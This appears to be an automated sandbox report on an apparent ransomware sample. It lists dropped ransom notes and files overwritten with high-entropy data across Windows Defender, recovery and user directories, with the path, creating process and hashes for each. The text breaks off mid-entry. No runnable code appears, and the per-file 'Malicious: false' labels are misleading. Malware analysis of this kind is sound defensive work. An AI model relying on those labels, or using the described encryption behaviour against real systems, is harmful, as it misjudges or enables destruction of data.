Entropy (8bit):	7.732189232317521
Encrypted:	false
MD5:	D1B5D21D1B3605B8FA1D24513BEC8CF9
SHA1:	8212448595D5F34131EED95C099CCA799C4E2034
SHA-256:	220AF8298EE1F6E42C8DC729B900F96C0902656542558238E9A9AB9494256D0C
SHA-512:	0F6ECF19ABB68F016AFEAED009210A87DFDB695052349F5F59047E9E0DD76824C302BDC0E1C6C8108F31C9EF4BB7FC7E132B8923DDD7723B1D2874BDF617DD72
Malicious:	false

C:\ProgramData\Microsoft\User Account Pictures\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\User Account Pictures\guest.bmp
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697037089080994
Encrypted:	false
MD5:	10A40DEC7E6734F86F9FF43481B535C0
SHA1:	27193E1C8E7E26F34859F8957DB2587D400A35E6
SHA-256:	2452AA4A043944E5B83B61C302D2288AA969C235746D0466E97F79C7CE3E6F9E
SHA-512:	CA6941BE3A7E883BB47787C66803653A8239F4A938A041E65D5D91678A809482DCF3D893216556B09A7AA2FBFF5D185BC9E5DD567194A9954DCE102B1A31024C
Malicious:	false

C:\ProgramData\Microsoft\User Account Pictures\user.bmp
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.709424533287668
Encrypted:	false
MD5:	15BE9258838972E129B780F8B70512B7
SHA1:	68BE1DE4A5778A88CC4C4031BE83FA5FD7016F67
SHA-256:	B5747640E86AE02E237D3C2006BDFD1E076A4959E5821A3382CC111EF03D0CCA
SHA-512:	16A8681FAD281112F59C4DE4469149857B86FD93FC1CA31E73D98C8004925659921D5CC6C2D764E9F5E03F698E5AFFA1F3B4EB790DFD2675FD29CE7F7149DFB4
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Backup\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Backup\mpasbase.vdm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.659041314478463
Encrypted:	false
MD5:	B17F257875DA612879B734DBC39C4344
SHA1:	C49D77D18AB31024020F751CD5A949E95EEF0C92
SHA-256:	DD2990B63BF12BA208BAA13B18D4BDAE4B5C658FD0501B6BD1EC39E422A3E51A
SHA-512:	052EB313F0CC7AA8093349C5DF4B2B9834B70D92AC47EF6068B8B8E051B66415C2A3E29E18351A781E6039B608CAE37B9D4D08C2F384C715564305BE7EF134B2
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Backup\mpasdlta.vdm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.70680193165049
Encrypted:	false
MD5:	1F476031C55CDE82725A1BDD0079AAAA
SHA1:	DBA9D3D2DCC366A4353B33279915A8FA99D4B3FB
SHA-256:	813884923BB2F589294249548440725E1BB87CF7F5C1A09954AE8CFE21725AAF
SHA-512:	C302937BBD6A5359AC8B8B601D3DA09F0FB778F6B20C41EB999F9F156BD8F545CD4D6F62879B3A57578D969C737A0FB2AAACEC8AFD9E5BB70F756002166179D9
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Updates\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Updates\mpasbase.vdm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.649438558659501
Encrypted:	false
MD5:	EDACD7FE1C5FFC534378555EF56E18D3
SHA1:	0DA82851267454C1E4301ECF7D68DD34AF8C94DA
SHA-256:	536C59343531CCCA2DF74C230D41C811C64E364E0FC68FFDA8D4B78C64E2AAA1
SHA-512:	16A098D017B5655C5771209A42549E09C81C240726AF912B1FE2C7FE8EA7221FD35CAADD56EA3B8B2E1B4193961A536D573902BFCC29DDF222799311D1A4D41B
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\Updates\mpasdlta.vdm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.657446120190467
Encrypted:	false
MD5:	97DF676DB88A19FB2FB73B6924BEE209
SHA1:	2C5F6BD76DB7A893BB608102A6D031F9642A7140
SHA-256:	524695469B5518FD40136C3C64F5AF41765B18686DCFA756832254806575510E
SHA-512:	B0E48E9EC03ED0F25F14132F87576DACAE42D9632570A2211AF2D68FFE3C7396D59FFD9CD9C17E1021DBFADA0E96129D71653F95E67B32BBC4EBC0B239775F0F
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{25A5EB6A-90B4-4559-99D1-5A7190FD9CE0}\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{25A5EB6A-90B4-4559-99D1-5A7190FD9CE0}\mpasbase.vdm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.672672998240399
Encrypted:	false
MD5:	E4772B91CD32C7F4C80621C50059EBB3
SHA1:	25C6EBF33B00C363DFACB7C434490EDBD26F04A4
SHA-256:	E7E595C589F4B04F8999A9FD8D1408B62F83F76D2162BCC93A222FE67CAFC3F9
SHA-512:	7789DBF49162F6DAAF2C5F04460CD8E316FDA6F2C02136CD7012F29A264F62EED3576F246D313FAA1C1446DD13642D51044E9B033E1001F7C4D233C0EDBE4EB2
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{25A5EB6A-90B4-4559-99D1-5A7190FD9CE0}\mpasdlta.vdm
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.662449129123444
Encrypted:	false
MD5:	1D99FC33A51DE2BA953E7D7D2B474691
SHA1:	C5A85A7603CCF5DF6C7175797086114D13C3AA86
SHA-256:	F5FC4CCB2F9E9475C4E5324370CAC24D244F93121CB2F87FA782369FE4979FBA
SHA-512:	D8154B4460FB96A7E42AE0BB9F9F8B2FC73951E1385BFEC3EE83B74DD13F15E6DBAF409C66E2A249A395B83B34D7EC9FDA043587225D0D0341DDADD730C0EA1E
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\CacheManager\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\CacheManager\MpSfc.bin
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.716432569719688
Encrypted:	false
MD5:	64161BFB391CC11C3FE233B8B2257E29
SHA1:	7F37FE6E8A2AD388A354EF01C2B647D8C51C9FC4
SHA-256:	A95C1B4116C8C1E3F0C28482D1BD4668D0ABDE2CDE2616E20DF70A20F62D7EF7
SHA-512:	5AC1CCB71E0088612B17371DBF2A3500C53EDD4E299A8A5F74198C7F712F892ECD2AE43B28E226F02C4930B4E9088E97F2BD69BF28EBA3F4BD592F27BCB8CEAD
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{2A22FD36-5562-4533-A8E9-1FD1A0E5FF72}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.662633528531413
Encrypted:	false
MD5:	59FB706375182E9BD8A951BCAF02096C
SHA1:	C36780813DABA28ED57585602DE93D221F3E7CE5
SHA-256:	EE59D168CB69A586CA82F2AA07222D6E173B4BD428466EBAC1EF0BC6C698E822
SHA-512:	55B59EBBF45AAAB9587938CA0BD8AB396517B8ABBD89C0AB66E3511E8D5A40732DE3A60F8694EDCD0725202DF8C32815CBCC29B22C0BBCDBE5299F1AFF122E6C
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{3C3429FC-CDB6-48BD-B9C4-1352B06A8252}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6528474743230435
Encrypted:	false
MD5:	4127CB4FA132C14D2160EC68647A2FA7
SHA1:	109F0F7241FD3C03481A2B1D613F7645731230B6
SHA-256:	F7E517B2050D9A91DB6EE8D42D4AF7AA4D3903988C8EDB245C9270A4A80A32D0
SHA-512:	CC7F56FF3BB8F22F1C34D13BD5245CCBF9E4B4256B74B7DDE9922E339CF7FA353CCFB797D9DA7A5D1FACBCD30EE2EAB31DC6E27F80C00C5CD7AF2FE144B6B89D
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{44A9EDDA-790F-476E-BB3A-856559275A9D}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701844154635367
Encrypted:	false
MD5:	2FD8A82EA897893BF43AA840718E0679
SHA1:	EB37F56886D5411CAF76563B79F16DD1AD8B3B97
SHA-256:	4F9075077AB97FFF537030DE3FC60D8FC9F6EAB126AADC9B8F66C0AE26DE8C7C
SHA-512:	26F4EF03CBECB9993B8728E07325E45C37F6417584D83BA10A9878E87812FB7F71ECBDF6C646822F0994E92F86DD323BED8DD9B381B84F44BE0EC014B0C7F0AB
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{6C85A365-6DF4-4226-8234-325464593903}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.705957740717056
Encrypted:	false
MD5:	2D63CAA69FAD93F5A6182D540003ABB1
SHA1:	E001490A266376BC0E78A4EA81163CE4E3040688
SHA-256:	C47F4CA79518BA59FD79F9C5C131CDC3420FCDCE0AE23FA0E8CD015AD132F907
SHA-512:	A2A3A47261CD7C7C18B4CB8658731F4BC781420A7BF6B49E4FE21B13A71DC7034758515B93775CCEF12C6B51F2EB500D80525B5D16DA61175B4C2AC2E7A5C87D
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{71DD6504-350D-4031-AE20-ADA672C97CB8}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.692160702096247
Encrypted:	false
MD5:	AA8BBFC36CD62F21B31A49651ACB2946
SHA1:	255F45043076CAB1878BE58152ADE5D8CA91428A
SHA-256:	7FDC7D319B7DB3AE3ECEECE313F3418EF09FD552BAEF30FAB11EDBAB46E76AB4
SHA-512:	6CB58E15010726F7A00B943E5D294D56A7E023507559F3F4F8C5A742083EE785D0E255A4BA8F458C1192E040CB79BAF3E53BBFC396BAAF856B6CCABAE7BA56C2
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{8A9F4B20-47DD-407B-BEEA-D32FE2BC240E}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682463521023012
Encrypted:	false
MD5:	456C9D266BB4006C4CD62B742356D2EE
SHA1:	884B50C9043BB188546FDDFC3CD0A50C4F19FB04
SHA-256:	A991520C77FFC2AA7D79CB61F8855FA6EADC84CE5829107FEA72D2F8AA73CF22
SHA-512:	663A6E416DAFCC2CEC22E936A6695D34B891063C75DA106C5B72DBFC9BADC90DF04B4464ACB818DC7CF5560172C60B284CC52C2FA467540EBE0C4131767FBB7A
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{AE1A229B-97E1-47D0-9977-3F07A5143D04}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.71753317321059
Encrypted:	false
MD5:	E5B965A2288572DB8B1B667B29248E01
SHA1:	394D55E8D5E617EAE5353A0FF9FF350BDCAA80D0
SHA-256:	FB57BF14EA7E157FEE56A84C281B1A7880B2BEA2F9DAB3727233F682B3C5E599
SHA-512:	FE47F233B36FF3F23FD971A22D82422BA8AC2ABECDF80A5986FD28CE716D6142B0F5E9ED38535BDB44D759CEBE52E04B94471213BFBA1CA041A03EEC9F9137F4
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{E0C3B7F0-B373-4118-898D-2A0919AA4582}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697354763574884
Encrypted:	false
MD5:	A45083EAA78CF8E0A39D5A88569827A4
SHA1:	C84A3ED4CB6E6F4E3718D8C5DAEB059F0C5088D6
SHA-256:	169536578701DEC0A80B164DFBE7397B0B66C8C14AFE5C5FC6766AAFFAC28520
SHA-512:	D27C53803AF94DD5A16984949A0D29489031D4C27DE663EA46663E30240FC6C6316F253B8B02ABF1111DA8B192EE3B4E45EA82C80E4C12767033F087A650F264
Malicious:	false

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{FE9C0302-2909-4242-B7EE-5DF186E505B1}
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669780392168488
Encrypted:	false
MD5:	FD7B14172F9EA09E25DD4BAAAFA4676A
SHA1:	54CFA4AE230B5EB53D7459FEB219A87972317A74
SHA-256:	0CDDD96FB9D92BE6745E4315FD0B98B3C3684B7D6B0DE5124808CD5C1DC8901A
SHA-512:	E0EE46F31E59481BEB1C006B95A563291BB5E370B4DAF002323D54F489C67AA7F04ABE35D2EC183E53228236EA2FA47B3EC609A1FA12C247304274ABDAD7A3B2
Malicious:	false

C:\ProgramData\Oracle\Java\installcache\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\ProgramData\Oracle\Java\installcache\baseimagefam8
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.636790404925287
Encrypted:	false
MD5:	5FEF82C3CDC0229BFCC81F729674D06A
SHA1:	EEF0055804834E5E99CEEB3F29D176D4046071CC
SHA-256:	682E2C202F370F6B3EDF11D8AAA39E50CF699C910FA2C0A5CEE50F709008ECF3
SHA-512:	DD1F5F613162B1CB6EDC168CEAACCD6ED7935AD92962D131B342F169E31797A267C58B1C887BB7CDC3FBDB19B5A2EF42C7A20ED06830E0F10153AFFDEF47CEE5
Malicious:	false

C:\Recovery\9cf403ca-7dc4-11e1-acd9-ccca0acd3d80\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Recovery\9cf403ca-7dc4-11e1-acd9-ccca0acd3d80\boot.sdi
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.668036009696992
Encrypted:	false
MD5:	845FF145778F8C4DF542A45600E2E3BA
SHA1:	8F936EDF6D4504E2B94C6107F76C9545CD18FFFB
SHA-256:	F1442B7D07A33F562F5D908B6D6680E166C79D044A2603CFB2B2BF7B437BB168
SHA-512:	D27D4BBA35611A8C428E767B5F3002F263A1E57988D9E9A3A2496DCFB6F04F4ADB46DFAD7F6856700E72332715FDED99761BDF91954D0D1069392B4DB9C7D6A9
Malicious:	false

C:\Users\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Default\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.65442758548054
Encrypted:	false
MD5:	D6FAAB4DF1E1E4D32001B5875B56A28B
SHA1:	F577A450E8683E0ED027B984E97D5CDE38EA9F6A
SHA-256:	66AF2AFC3A04FA1F7E2AD3B0311D56BC9EC7F5DE320574537BF4DC082C794776
SHA-512:	FE617041C549050CDF85A6FEF838781995C507A591BE36010EA95325A129FC953BEDBA4103C4988C503E261FE8DC445D2F32F04E2A7EB8DE0128251DED9C935A
Malicious:	false

C:\Users\Default\NTUSER.DAT.LOG1
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.690094683712298
Encrypted:	false
MD5:	FC8408110F40D87C9DE58C087344EC9B
SHA1:	B1059E738C21A18BF85ECBCE2F1A082612B97DDD
SHA-256:	E929369BD820D45F6FEE2C56BE8987802EDD0E2891146407E85F8D158A3128C6
SHA-512:	9BCCA92358ABF319EE3F68EA9EC66FF613D34A0A750BBD476A5184760B6FF410D4EEA478A56CAB2205F98EA961CEC02A65AD0E4154F08C0308459E7C46F6B7E4
Malicious:	false

C:\Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.712156896887451
Encrypted:	false
MD5:	9A23FB13669EFF3120DC5FA36CA4AD79
SHA1:	E923D113B9163C4CC6B59067E640D5D20C1F0901
SHA-256:	728D7744B66477B66A6C57BE88BE81280E9C54124196EF7FD0ECA53DA38C965E
SHA-512:	194DB4ED464A6E595F572FA799CEEE15AAAE2FABD72E0287477F7FDA29A05052E143E94CFDD56A67DE9ACA35F45E5A1CF9C703552D72D87878CAC1236C863797
Malicious:	false

C:\Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.713622183645204
Encrypted:	false
MD5:	F278C4C30C3557F5A85553941E5C2CB6
SHA1:	1497C02A52AD9BC95932762CFAA97CBF3E0073F4
SHA-256:	D458CD9BA0392DEA69E9B3CB8A09370435871D1CC159AD1E098836EC324702B8
SHA-512:	F78439F5F28F2369FCCB387BF5C0A5BBEBF6508EF04A09496167713585953BB7290CC346543039B6FCB81104DA626BEE8FA9EE61974E3B54EE214A1CDD1D1AEA
Malicious:	false

C:\Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.660354299074893
Encrypted:	false
MD5:	059383890A63517348A2479119F6ABCB
SHA1:	7949C14EA49F06B3112ECC2EF80AE2627ED96CA4
SHA-256:	23551B854AC44A8800BE5BF33DB350CD22DB0CDED1783D475B3DE7B2588C48CF
SHA-512:	7022B624FE1E14BC57883ECB3EDE1E03F999B13B50188A277C5BA3F7B953E4A0097902541C12BB9DD25C8857003FC4C0396F468AD2218D6ECCC2AFD32DFE1BFF
Malicious:	false

C:\Users\Public\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Documents\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Documents\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.698123727933618
Encrypted:	false
MD5:	2C3CAA97030809E9F568343D9A10EF8E
SHA1:	F7F7086133322FA71CC28DA37F88A06CF76A1BC5
SHA-256:	615EA35B1EEF2D5E2BA7C709CF8D9B024783EC502CF92BDF58CF3A4F2F702AF7
SHA-512:	364B98EF526B32FA043CFA8FAEF6B41C3C58D5B866B087C15758E2CDD97834221B087495A08EBC18F7FAAC47E0982EC367DED4286194144DD97F580FE1EFDD63
Malicious:	false

C:\Users\Public\Downloads\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Downloads\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.66121794226574
Encrypted:	false
MD5:	72387EBE51F3EC7A71FF341B7F10AB16
SHA1:	2A00990EF8CDE92FD7F5FBADBBAB71E24C7CCE45
SHA-256:	7AD6E6594CC1FC4F8F1D572E8F820DDED69C5B350AE4ED11557BD82E3BC2F494
SHA-512:	0A489E80A03A67C3871894B15F7DE28DC5A9EF3BAADE2C90123A62D46EFF592FA12A222A3825822349151589EE13D176405A433BA4A059D34EF60CD4B3259863
Malicious:	false

C:\Users\Public\Libraries\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Libraries\RecordedTV.library-ms
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.690387507960138
Encrypted:	false
MD5:	8A116C24AEA76D3346404589CEBDE925
SHA1:	CDFEDE2662D5FDD80AAD79B2FE02A334DB956BF6
SHA-256:	4BCF21D909BAA1ADB3BC619E76570905448136434FD1C3E9E7AE484BA23AB7A1
SHA-512:	9E2E5CDE6FC6C4527EFA7A427C2046475C7AC1F9520B679DAA112AAA93C2E920B69FDE2431BABD5F6D16F4E3C8D3263601590CFABDA7C1D084FD2EA208E4AFD8
Malicious:	false

C:\Users\Public\Libraries\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.724766471841511
Encrypted:	false
MD5:	3298F3849C9C9949F6750C12F6933140
SHA1:	BBFAF3BB72B7DB691E73CAFDDF6F14A83BF70147
